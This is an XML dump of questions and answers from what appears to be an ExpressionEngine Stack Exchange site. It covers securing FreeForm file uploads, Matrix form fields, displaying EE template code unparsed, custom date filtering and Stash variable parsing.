  <row Id="965" PostTypeId="1" AcceptedAnswerId="967" CreationDate="2012-12-03T11:55:40.630" Score="4" ViewCount="405" Body="&lt;p&gt;Does anyone know of a straightforward way of securing files which have been uploaded via &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Solspace FreeForm&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, what I'd like to have is files uploaded to a directory which isn't accessible to the general public, but is accessible once you have logged into the CP as an admin user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: To clarify, Freeform just uses a standard EE File Upload destination and has a link within it's admin screens to view the uploaded file. I've tried creating a Destination which is above root, but that makes the file inaccessible from within the CP as well (unless I'm doing it wrong that is). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;: I seems if you try to access the file via the file manager in the CP it works fine if you have the upload destination above root. What isn't working is the link within Freeform itself. It uses the 'URL of Upload Directory' to link directly to the file. This results in a 404 if the destination is above the root.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2012-12-03T14:38:31.843" LastActivityDate="2012-12-03T16:41:59.657" Title="Securing Files uploaded with FreeForm" Tags="|file-uploads|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="966" PostTypeId="2" ParentId="888" CreationDate="2012-12-03T12:06:12.563" Score="2" Body="&lt;p&gt;One way or another you'll have to dip in to git and the best thing is you can accomplish most things with out even touching the terminal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example have a local install via MAMP. Setup everything to a point where you feel confortable e.g. channels, fields, categories, snipets, variables and any other settings. Export database as file then create a &lt;a href=&quot;https://bitbucket.org/&quot; rel=&quot;nofollow&quot;&gt;Bitbucket&lt;/a&gt; account (which is free), get &lt;a href=&quot;http://www.sourcetreeapp.com/&quot; rel=&quot;nofollow&quot;&gt;Sourcetree&lt;/a&gt;, create a repository and connect it to the local install folder via Sourcetree and commit which syncs files. This then becomes your base template for future projects which can be installed in a few minutes.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2012-12-03T12:06:12.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="967" PostTypeId="2" ParentId="965" CreationDate="2012-12-03T12:09:42.063" Score="6" Body="&lt;p&gt;Have you thought about making upload folder locations above root?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an article about doing just that for Freeform file uploads:&#xA;&lt;a href=&quot;http://nicolasbottari.com/blog/storing_file_uploads_above_webroot_in_ee2/&quot; rel=&quot;nofollow&quot;&gt;Storing file uploads above webroot in EE2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="147" LastEditorUserId="22" LastEditDate="2012-12-03T16:41:59.657" LastActivityDate="2012-12-03T16:41:59.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="968" PostTypeId="2" ParentId="964" CreationDate="2012-12-03T12:19:27.843" Score="5" Body="&lt;p&gt;The &lt;code&gt;parse_variables&lt;/code&gt; function handles this natively so there's really no need to complicate things unless you need some additional functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#master-variables-array&quot;&gt;template class documentation&lt;/a&gt; includes some detailed instructions, but basically you just need to add a &lt;code&gt;my_fields&lt;/code&gt; array to your main array of variable data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars['title'] = 'My Title';&#xA;&#xA;$vars['my_fields'] = array(&#xA;    array('field_label' =&amp;gt; 'Foo', 'field_value' =&amp;gt; 'Something'),&#xA;    array('field_label' =&amp;gt; 'Bar', 'field_value' =&amp;gt; 'Something else')&#xA;);&#xA;&#xA;$output = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-03T12:19:27.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="969" PostTypeId="1" AcceptedAnswerId="973" CreationDate="2012-12-03T12:30:48.013" Score="3" ViewCount="96" Body="&lt;p&gt;I'm looking for some suggestions for the best way to layout an employment history field in a safecracker form. The paper version has a table with the following headers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From – To (month/year)&lt;/li&gt;&#xA;&lt;li&gt;Job Title&lt;/li&gt;&#xA;&lt;li&gt;Name, Address &amp;amp; Telephone Number of Employer&lt;/li&gt;&#xA;&lt;li&gt;Reason for leaving&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't want to create multiple fields for each possible job in the list so I was thinking of going for a single textarea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest a nicer way of doing this? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="95" LastEditorUserId="77" LastEditDate="2012-12-03T14:30:36.727" LastActivityDate="2012-12-03T14:30:36.727" Title="Best way to layout an employment history field in a safecracker form" Tags="|safecracker|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="970" PostTypeId="2" ParentId="965" CreationDate="2012-12-03T12:38:51.327" Score="4" Body="&lt;p&gt;What sort of files do you need to lock down and how much security is required?&lt;br&gt;&#xA;Below is a few methods i have used in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Run it through PHP&lt;/strong&gt;&lt;br&gt;&#xA;I used a solution a while back when i used htaccess-rules to run every request for a particular dir through a special template and used Php and template-tags to verify that the user was logged in and had the correct permissions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For added security you could do as @Cem said and store the files above root or  just stick with locking them down with htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found a quick example of the php code &lt;a href=&quot;https://stackoverflow.com/a/6818103/911662&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everything was ok i sent the correct headers and returned the file through php.&lt;br&gt;&#xA;One downside of this could be the speedbump when you need to start up php for every single file.&lt;br&gt;&#xA;Might work better for simple files than with multiple images on a page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cookies in htaccess&lt;/strong&gt;&lt;br&gt;&#xA;You could also use htaccess to verify that a cookie has been set and contains the correct value, the cookie could be set from EE.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hashing the filename&lt;/strong&gt;&lt;br&gt;&#xA;Another way to go about it would be to add a unique hash to the filename and store that in the db. That way it would be impossible (see hard) for someone to guess the url to your files.&lt;/p&gt;&#xA;" OwnerUserId="329" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-12-03T12:47:54.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="971" PostTypeId="2" ParentId="969" CreationDate="2012-12-03T12:42:33.687" Score="1" Body="&lt;p&gt;The cleanest solution i can think of is to use &lt;a href=&quot;http://pixelandtonic.com/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; from Pixel and Tonic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a matrix field with a field for each of your columns and then use {field:your_matrix_field_name} in your SafeCracker form.&lt;/p&gt;&#xA;" OwnerUserId="329" LastActivityDate="2012-12-03T12:42:33.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="972" PostTypeId="1" CreationDate="2012-12-03T12:44:39.253" Score="4" ViewCount="2145" Body="&lt;p&gt;In my blogpost (SE-page) I want this code to be treated as text and not as code since I want to show it as an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://{exp:low_replace find=&quot;http://&quot;}{linklist_url}{/exp:low_replace} &#xA;&quot;target=&quot;_blank&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wrapped it in &lt;code&gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&lt;/code&gt;-Tags, but it didn´t work. It renders to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://{linklist_url} &quot;target=&quot;_blank&quot;&amp;gt;Im the actual title of the entry&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the source is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;code&amp;gt;&#xA;&amp;lt;a href=&quot;http://{linklist_url} &quot;target=&quot;_blank&quot;&amp;gt;Im the actual title of the entry&amp;lt;/a&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use the EE tag &lt;code&gt;[code]&lt;/code&gt; while entering the text in the CP I have the follwing in my Matrix TinyMCE field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[code]&amp;lt;a href=&quot;http://{exp:low_replace find=&quot;http://&quot;}{linklist_url}{/exp:low_replace} &quot;target=&quot;_blank&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;[/code]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I submit my blog entry in the CP I see a nicely formatted and colorcoded string on the &quot;view entry&quot; page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I let EE the page render I see &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[code]&amp;lt;a href=&quot;http://{linklist_url} &quot;target=&quot;_blank&quot;&amp;gt;Im the actual title of the entry&amp;lt;/a&amp;gt;&#xA;[/code]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Same case as above. EE renders the {title} field and low_replace. The only difference is, that I have the surrounding &lt;code&gt;[code]&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do the low_replace add-on and the {title} get rendered and how do I stop this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Removed the part with Allow EE, since it led to confusion and edited the title for clarity. &lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2012-12-03T13:53:46.917" LastActivityDate="2012-12-11T00:10:13.437" Title="How can I display a code example (HTML plus EE-tags) in my blog post" Tags="|ee2|allow-eecode|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="973" PostTypeId="2" ParentId="969" CreationDate="2012-12-03T12:47:11.920" Score="4" Body="&lt;p&gt;Consider using the Matrix field_type by Pixel &amp;amp; Tonic, see &lt;a href=&quot;http://pixelandtonic.com/matrix&quot; rel=&quot;nofollow&quot;&gt;Pixel &amp;amp; Tonic: Matrix&lt;/a&gt; This will allow you, the applicant to enter as many rows of like formatted data as needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would define the areas, similar to a table. So the subfields could be: from (mm/yyyy), to (mm/yyyy), position, company, summary, reason for leaving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The info could be laid out how you like, say something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  **From       To         Position/Company**&#xA;  **Summary/Reason for Leaving**&#xA;&#xA;  05/2012   09/2012     Web Developer, Prince and Stadtler&#xA;  Summary: Worked developing photo exhibit section for project specific to user feedback stories.&#xA;  Reason for Leaving: Contract Ended&#xA;  ...&#xA;&#xA;  01/2012   04/2012     Database Developer, Synchronized Beings&#xA;  Summary: Switched company from MySQL to MongoDB.&#xA;  Reason for Leaving: Contract Ended&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form would place a single instance of the fields to be completed. The applicant, would then select to add more rows, as needed, similar to adding jobs or projects to LinkedIn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix works well for these types of situations, where there would be an unknown amount of, but similarly formatted responses. It could also be used for a skills field, etc.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-03T12:47:11.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="974" PostTypeId="2" ParentId="972" CreationDate="2012-12-03T12:53:48.393" Score="1" Body="&lt;p&gt;&lt;strong&gt;Loading a whole template file without parsing it&lt;/strong&gt;&lt;br&gt;&#xA;Check out &lt;a href=&quot;http://devot-ee.com/add-ons/template-code&quot; rel=&quot;nofollow&quot;&gt;Template Code&lt;/a&gt; by &lt;a href=&quot;http://devot-ee.com/developers/rob-sanchez&quot; rel=&quot;nofollow&quot;&gt;rob-sanchez&lt;/a&gt;.&lt;br&gt;&#xA;It should get you what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Show data from entry-fields unparsed&lt;/strong&gt;&lt;br&gt;&#xA;This is how EE works by default. Nothing from Entries is ever parsed.&lt;br&gt;&#xA;Allow EE Code enables this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you enter &quot;some {type_tag} with {number} tags in it&quot; as the value of a field in an entry it should show up as &quot;some {type_tag} with {number} tags in it&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you use Allow EE Code you get &quot;some {value of type_tag} with {value of number} tags in it&quot;&#xA;If there are nothing matching your custom tags the tag itself should be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Replace every special-char with its html entity&lt;/strong&gt;&lt;br&gt;&#xA;As i mentioned in the comment below, Checkout &lt;a href=&quot;http://devot-ee.com/add-ons/eencode&quot; rel=&quot;nofollow&quot;&gt;EEncode&lt;/a&gt; it should run everything in between its tag through html_entities.&lt;/p&gt;&#xA;" OwnerUserId="329" LastEditorUserId="329" LastEditDate="2012-12-03T17:00:03.903" LastActivityDate="2012-12-03T17:00:03.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="975" PostTypeId="2" ParentId="972" CreationDate="2012-12-03T13:02:30.990" Score="1" Body="&lt;p&gt;You wouldn't want the {allow-decode} plugin, since that would do as you expect, allow the ee code to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two issues here. You have ExpressionEngine code/tags and html/xhtml code tags. Obviously, an entry into EE will allow for html/xhtml to be rendered. So&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://{exp:low_replace find=&quot;http://&quot;}{linklist_url}{/exp:low_replace} &quot;target=&quot;_blank&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;may come out looking like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the click link would still have the code, {exp:low_replace} or {link list_url} in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want something that converts all the code into html entities. A number of the text editor fields will do this for you, such as &lt;a href=&quot;http://pixelandtonic.com/wygwam&quot; rel=&quot;nofollow&quot;&gt;WygWam&lt;/a&gt; from Pixel &amp;amp; Tonic or &lt;a href=&quot;http://www.putyourlightson.net/expresso&quot; rel=&quot;nofollow&quot;&gt;Espresso&lt;/a&gt; by Put Your Lights On.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;/code&gt; to preserve spacing, and obviously whatever styling you want to employ. Applying colors to different types of code is more complicated, but doable, with &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; classes.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-03T13:02:30.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="976" PostTypeId="2" ParentId="972" CreationDate="2012-12-03T13:20:30.890" Score="3" Body="&lt;p&gt;EE has a native code formatting feature which is essentially a wrapper for &lt;a href=&quot;http://uk.php.net/manual/en/function.highlight-string.php&quot; rel=&quot;nofollow&quot;&gt;highlight_string&lt;/a&gt;. Just use &lt;code&gt;[code]&lt;/code&gt; tags to trigger it. For example this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[code]&#xA;$foo = 'bar';&#xA;[/code]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will output the following markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;codeblock&quot;&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span style=&quot;color: #000000&quot;&amp;gt;&#xA;    &amp;lt;span style=&quot;color: #0000BB&quot;&amp;gt;$foo&amp;amp;nbsp;&amp;lt;/span&amp;gt;&amp;lt;span style=&quot;color: #007700&quot;&amp;gt;=&amp;amp;nbsp;&amp;lt;/span&amp;gt;&amp;lt;span style=&quot;color: #DD0000&quot;&amp;gt;'bar'&amp;lt;/span&amp;gt;&amp;lt;span style=&quot;color: #007700&quot;&amp;gt;;&amp;amp;nbsp;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/span&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can choose your own colours by &lt;a href=&quot;http://uk.php.net/manual/en/misc.configuration.php#ini.syntax-highlighting&quot; rel=&quot;nofollow&quot;&gt;adjusting various PHP INI directives&lt;/a&gt;. For a live example of this see my &lt;a href=&quot;http://www.vayadesign.net/software/missing-link/docs/body-tag&quot; rel=&quot;nofollow&quot;&gt;addon documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-03T13:20:30.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="977" PostTypeId="1" AcceptedAnswerId="979" CreationDate="2012-12-03T13:32:37.193" Score="4" ViewCount="1061" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://devot-ee.com/add-ons/json&quot; rel=&quot;nofollow&quot;&gt;JSON&lt;/a&gt; plugin from Devotee to write a small API for a third-party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another developer (honestly) has added a 'start_date' custom field for when a particular offer is valid from. The 'entry_date' field is defaulting to the date the entry is added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of doing something similar to 'show_future_entries' but with a custom field? I only want entries to be returned where the start_date is before today/current_time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my simple JSON template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:json:entries &#xA;channel=&quot;offers&quot; &#xA;search:product_category=&quot;Food - chilled-dairy&quot; &#xA;show_future_entries=&quot;no&quot; &#xA;fields=&quot;title|offer_start_date|offer_end_date|product_image|product_weight|product_offer_message|&#xA;product_offer_image|...snip&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;br&gt;&#xA;Brett&lt;/p&gt;&#xA;" OwnerUserId="65" LastEditorUserId="77" LastEditDate="2012-12-03T14:32:28.847" LastActivityDate="2012-12-03T14:32:28.847" Title="Channel entries tag filter based on custom date field" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="978" PostTypeId="2" ParentId="969" CreationDate="2012-12-03T13:33:44.150" Score="0" Body="&lt;p&gt;You could use WYGWAM and the &lt;a href=&quot;http://docs.cksource.com/CKEditor_3.x/Developers_Guide/Templates&quot; rel=&quot;nofollow&quot;&gt;templates&lt;/a&gt; feature of CKEditor. Each From/To section would be a template segment. Training users on what to click and choose might be a little tricky but it would certainly work for your situation and keep things to one field.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-12-03T13:33:44.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="979" PostTypeId="2" ParentId="977" CreationDate="2012-12-03T13:57:00.620" Score="3" Body="&lt;p&gt;I've struggled with this problem in the past, and there's not really a native way to fix this. There are two third-party solutions that I'm aware of that will give you an easy fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Low Events: &lt;a href=&quot;http://gotolow.com/addons/low-events&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-events&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Provides a wrapper for the channel-entries tag which allows you to do what you set out to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solspace Date Field Filter: &lt;a href=&quot;http://www.solspace.com/software/detail/date_field_filter/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/date_field_filter/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to pick another field for date-based filtering. Different approach, for your ends same effect. This is $10 cheaper then Low's awesome module, and might be a better fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there are ways to build this yourself with a custom plugin / whatever, but I'm more of a front-end kind of guy, plus: if you can fix this by spending 20 bucks and 5 minutes, to me that's always cheaper then spending an hour or two trying to work out how to fix this :). Hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Steven&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="195" LastActivityDate="2012-12-03T13:57:00.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="980" PostTypeId="2" ParentId="977" CreationDate="2012-12-03T14:02:02.983" Score="0" Body="&lt;p&gt;The docs have an example of setting the start_on parameter dynamically. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#start-on&quot; rel=&quot;nofollow&quot;&gt;Check here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does require a bit of php though.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-12-03T14:02:02.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="981" PostTypeId="2" ParentId="972" CreationDate="2012-12-03T14:36:51.243" Score="3" Body="&lt;p&gt;On my blog (&lt;a href=&quot;http://caffeinecreations.ca/blog/a-mostly-out-of-the-box-quiz-with-expressionengine&quot; rel=&quot;nofollow&quot;&gt;example post here&lt;/a&gt;) I'm using &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-syntaxhighlighter&quot; rel=&quot;nofollow&quot;&gt;GWcode SyntaxHighlighter&lt;/a&gt; in combination with wygwam. Basically I write my post as normal and any code I want I then use the &quot;code&quot; button in wygwam and voila beautifully highlighted with line numbers.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-03T14:36:51.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="982" PostTypeId="2" ParentId="862" CreationDate="2012-12-03T14:41:48.170" Score="0" Body="&lt;p&gt;When EE parses a template it looks for tags that are identical, parses the first in the set that it finds and replaces the rest with a cache marker M60o9...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem here is simply that you used the identical tag twice, with the second instance being held within a queue (by stash:parse) to be parsed after all template parsing has completed: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name='house_starting_price'}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;    {exp:stash:get name='house_starting_price'}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE therefore never replaces the second instance of the tag with the cached value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to simply add the word 'random' to the list of parameters passed to the second instance (and any other instances in the template):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name='house_starting_price'}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;    {exp:stash:get name='house_starting_price' random}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, the stash variable can be accessed as a placeholder, as it is being used within a stash:parse tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name='house_starting_price'}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;    {stash:house_starting_price}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-12-03T14:41:48.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="983" PostTypeId="2" ParentId="972" CreationDate="2012-12-03T15:03:31.343" Score="1" Body="&lt;p&gt;I recommend using Prism.js for syntax highlighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prismjs.com/&quot; rel=&quot;nofollow&quot;&gt;http://prismjs.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made an EE syntax highlighter that I find better than the available solutions. I tried really break down each tag, and it's under active development. Prism.js is super lightweight and really faster, and adds no bloat to the page. Eventually it would be nice to have some sort of EE plugin for stuff (not sure what it would do), but the raw JS is just as good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/prismjs-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;https://github.com/objectivehtml/prismjs-for-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other answers in this thread are always good too, but main difference is they don't utilize Prism.js, which is key for me. I have tried a lot of syntax highlighter, and really pleased with the API of Prism.js, which only took a matter of minutes to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to help write examples with EE code (not sure you need it specifically but others may), I use the HTML entity for it. If you remove the first bracket, the rest of the tag is void. (Conditionals need every first bracket replaced.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre class=&quot;language-ee&quot;&amp;gt;&amp;lt;code&amp;gt;&#xA;&amp;amp;#123;exp:channe:entries}&#xA;&#xA;    &amp;lt;h1&amp;gt;Your header&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;amp;#123;if segment_2}&#xA;&#xA;        ....&#xA;&#xA;    &amp;amp;#123;/if}&#xA;&#xA;    ....&#xA;&#xA;{/exp:channe:entries}&#xA;&amp;lt;/pre&amp;gt;&amp;lt;code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Prism.js syntax highlighter automatically trims and converts HTML tags to output correctly, so no entity needed there. (Obviously in the Prism.js highlighter you would see the bracket and not the entity, this example is how you would type it.)&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-03T15:08:46.537" LastActivityDate="2012-12-03T15:08:46.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="984" PostTypeId="2" ParentId="972" CreationDate="2012-12-03T15:28:59.473" Score="3" Body="&lt;p&gt;You need to encode all your curly braces in your code samples to make sure they aren't parsed by EE at some point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;&amp;amp;#123;&lt;/code&gt; for &lt;code&gt;{&lt;/code&gt; and &lt;code&gt;&amp;amp;#125;&lt;/code&gt; for &lt;code&gt;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some EE WYSIWYG editors will do this for you in code blocks, but you'll have to check the source to be sure.&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2012-12-03T15:28:59.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="985" PostTypeId="2" ParentId="954" CreationDate="2012-12-03T15:53:33.693" Score="0" Body="&lt;p&gt;This is a situation where I would use Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow&quot;&gt;Template Partials using Stash&lt;/a&gt; method, your wrapper template would be embedded in the template for a given page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair, you would set a Stash variable with the channel short name. The template would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/.wrapper&quot;}&#xA;{exp:channel:entries ... limit=&quot;1&quot;}&#xA;    {exp:stash:set_value name=&quot;channel&quot; value=&quot;{channel_short_name}&quot;}&#xA;    ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the wrapper template could simply use the channel Stash variable to set the name of the CSS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;link href=&quot;path/to/{exp:stash:get name=&quot;channel&quot;}.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works very similarly to the &lt;code&gt;{embed=}&lt;/code&gt; method above, except it works a bit more efficiently using Stash.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-03T15:53:33.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
